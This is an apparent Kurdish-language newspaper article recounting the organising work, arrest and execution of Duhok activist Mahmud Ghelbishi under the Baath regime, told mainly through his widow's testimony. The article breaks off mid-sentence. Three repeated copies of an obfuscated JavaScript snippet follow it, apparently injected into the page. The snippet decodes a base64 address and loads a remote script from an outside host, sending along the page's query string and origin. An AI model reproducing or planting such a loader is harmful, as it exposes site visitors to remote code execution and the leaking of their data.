خەیروللا تولفاح گۆتە من: هەر وی دەمی مە كرینە دماكینێ دا و هێراینە و هاڤێتینە د رویباری دا
شێخان، سالار محەمەد دۆسكی:
1-2
پشتی نسكۆیا سالا 1975ێ رژێما بەعس یا وی سەردەمی هزر دكر، كوردینی و دوزا مللەتێ كورد ئێدی شین نابیتە ڤە، لەوما هەمی بزاڤێن وێ بۆ قڕكرنا مللەتێ كورد بوویە، شەهید (محمود غلبیشی) ئێك ژوان كەسان بوویە یێن شانێن دەسپێكرنا شۆرەشا گولانێ دناڤا باژێرێ دهۆكێ دا شینكرینە ڤە، و بوونە دەسپێك و هێڤێنێ و رخوكرن بۆ هەلكرنا چریسكا ئاگرێ شۆرەشا گولان پێشكەفتنخواز.
هەڤژینا شەهید (مەحمود غلبیشی) و دایكا شەهید (لوقمان غلبیشی)، تایبەت بۆ رۆژناما ئەڤرۆ بەحسێ چالاكی و بزاڤێن هەڤژین و كورێ خوە دكەت و دبێژیت: دناڤا باژێری دا و تایبەت كارێ رێكخستنێ و بەلاڤكرنا بەلاڤووك و و دانێن رۆژناما خەبات و بەلاڤ دكرن، و دیاركر دەمێ هەڤژینێ وێ هاتیە سێدارەدان هەر تەرمێ وی ژی نەهاتە رادەستكرن و مرۆڤێن واژی نەوێریان سەرەدانا مالا وان بكەن، چونكە وی دەمی مالا وان لبن چاڤدێریەكا مەزن یا بەعسیان ڤە بوو.
خانم (حەمرا ئیسماعیل عەلی) هەڤژینا شەهید (محمود غلبیشی)، دایكا شەهید (لوقا) ژدایك بوونا سالا 1945ێ دبێژیت: ل شۆرەشا ئیلۆنێ دەسپێكێ مالا مە ل گوندێ بانكا بوو دوڤدا چوو گوندێ ئەرزا وی دەمی ژی هەڤژینێ من گەلەك پەیوەندی ل گەل شۆرەشێ هەبوون، و پێشمەرگە بوو ل گەل (رەشید بارزانی) و پەیوەندیێن باش ل گەل هێزا دهۆك هەبوون.
هەڤژینا شەهید (مەحمود غلبیشی) گۆت: پشتی نسكۆیا سالا 1975ێ مالا مە هاتە دهۆكێ وی دەمی هەڤژینێ من دەست هاڤێتە رێكخستنێ و تایبەت ل پارێزگەها دهۆكێ و گەلەك ب گەرمی چوو دناڤا رێكخستنێ دا، و هەر هزرەك بۆ كەسێ نەدكر، وی دەمی چەندین كەسێن دی ژی وەك هەڤال ل گەل بوون، وەك (عومەر باجلوری، عزەت عەبان، مەلا نەزیر، حاكم سالم كورەماركی، رەشید ئەمین كورەماركی، محەمەد رەمەزان) چەندین هەڤالێن دی ژی هەبووینە رەنگە مە نەنیاسین و بیرا مە لێ ناهێت.
خانم حەمرایێ هەڤژینا شەهیدێ سەركردە، بەحسێ رۆژا گرتنا وی دكەت گۆت: وی دەمی زارۆكەكێ بچوویك من هەبوو، و چەند هەڤال گەل هەڤژینێ من بوون و شیف من بوو دانا حەوشێ وی دەمی من دیت دو كەسێن غەریب ژێ هەل دهاتن و هاتنە ژوور و ل گەل هەڤژینێ من ئاخفتن و دوڤدا دەستێ وی گرتن و ئێكسەر بر، وی دەمی گۆت دا كارێ خوە بكەم ئەوا گۆتێ دێ نوكە زڤری، و دوڤدا دو هاتن هەڤالێن وی پشكنینكرن و دەركەتن، پشتی وی دەمی دەنگۆباسێ گرتنا وی گەهشتە مالا تی ن و برایێ وی (كەریم) هات جانتێ وی كو هەمی ناڤێن رێكخستنێ و كار و بزاڤ و چالاكی و هەر تشتەكێ گرێدایی ب كارێ رێكخستنێ ڤە تێدا بوون، برن و لدوڤ گۆتنا وی برنە بن كاژێن تاخێ شەهیدان و چالاك كولا و بن ئاخكرن.
هەڤژینا شەهیدی هەروەسا گۆت: هەڤینێ من سەرەرایی كارێ رێكخستنێ، پەیوەندی ل گەل سەركردایەتی یا بەروەخت هەبووینە، و گەلەك بەلاڤوك بەلاڤەدكرن و بیرا من دهێت گەلەك بەلاڤوك و رۆژنامێن خەبات بەلاڤەكرن، و دیسا گەلەك ل باژێرێ مویسل وی سەر دەمی ل گەل (حەیدەر سەعەتچی) بەلاڤەكرن، پشتی زەلامێ من هاتیە دەستەسەركرن بۆ دەمێ سالەكێ ما دزیندانا باژێرێ ویس دا و بەردەوام مە سەرەدان بۆ دكرن.
كورێ شەهید محمود غلبیشی گۆت: مامێ من ئیسماعیل گەلەك بزافێن ئازادكرنا وی دكر و هەتا چوو دەف خەزیرێ سەدام حسێن، حمرایێ گۆتنێن كورێ خوە پشتراستكرن و گۆت: برایێ وی گەلەك دیاری و فێقی و خەلات بۆ بربوون وی دەمی خەلكی دگۆتێ دەمێ (خەیروللا تولفاح) كو دبیتە خال و خەزیرێ (سەدام حسێن) سەرۆك كومارێ ئیراقێ یێ بەرێ، دچیتە سوجدێ لیڤا دەرسوكا وی بگرە و داخوازێ ژێ بكە وێ ژی ئەو كر یا خەلكی گوتیێ و گۆت پشتی نڤێژا خوە بدوماهیی ئیانی، گۆت خێرە مە داخواز ژێ كر هاریكاری یا وی بكەن بۆ ئازادكرنا (محمود غلبیشی) ، خەزیرێ سەدامی گۆت: ئەڤە موجرمن هەر وی دەمی مە كرینە دماكینێ دا و مە هێراینە و هاڤێتینە شەتی دا ماسیێن مە پێ مەزن ببن، و گۆت هەرە ڤە و فێقیێ وێ هەمی هاڤێت و حەجیا ب ئەو سەر و دلا ڤە هاتەڤە.
سەرپەرشتیارێ خانەنشینكری، رەشید محەمەد صالح نعمەت پیرۆمەری، بۆ رۆژناما ئەڤرۆ دیاركر كو وی دەمی دخانیێ (جاسم سەعدوللا پیرۆمەری) ل تاخێ شەهیدان دان ڤە بوو وەك كرێدار وی دەمی (جاسم سەعدوللا پیرۆمەری) كو دبیتە مرۆڤێ وی هاتبوو زیندانكرن ل زیندانا (ئەبو غرێب) و جیرانێ شەهید (محمود غلبیشی) بوو، وەك دیدەڤانەك ل سەر زیرەكی و مێرخاسی یا شەهیدی بۆ ئەڤرۆ گۆت: گەلەك جاران رۆناما خەات و ەلاڤوووكێن رێكخستنێ شەهید (مەحمود غلبشی) دگەهاندە دەستێ من و هەر دەم من دگۆتێ هشیاری سیخورێن ئەمنێ بە چونكە وی دەمی ئەمنا بەعسیا هار ب بوو و گەلەك دیفچوون ل سەر خەلكی دكرن .
رەشید محەمەد صالح پیرۆمەری زێدەتر گۆت: دەمێ (مەحمود غلبیشی) هاتیە دەستەسەركرن و سزایێ سێدارەدانێ ل سەر هاتیە سەپاندن ژایێ حوكەتا بەعس ڤە، برایێ وی خودێ ژێ رازی بیت(ئیسماعیل غلبیشی) سەرەدانا من كر، ژ من خواست بچینە دەف خەزیرێ من (محەمەد شاهین سوفی) وی دەمی خەزیرێ من (محەمەد شاهین صوفی) سەرۆكێ (پشكنینا عدلی ل وەزارەتا داد) ئیراقێ بوو و پەیوەندیێن باش هەبوون،(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
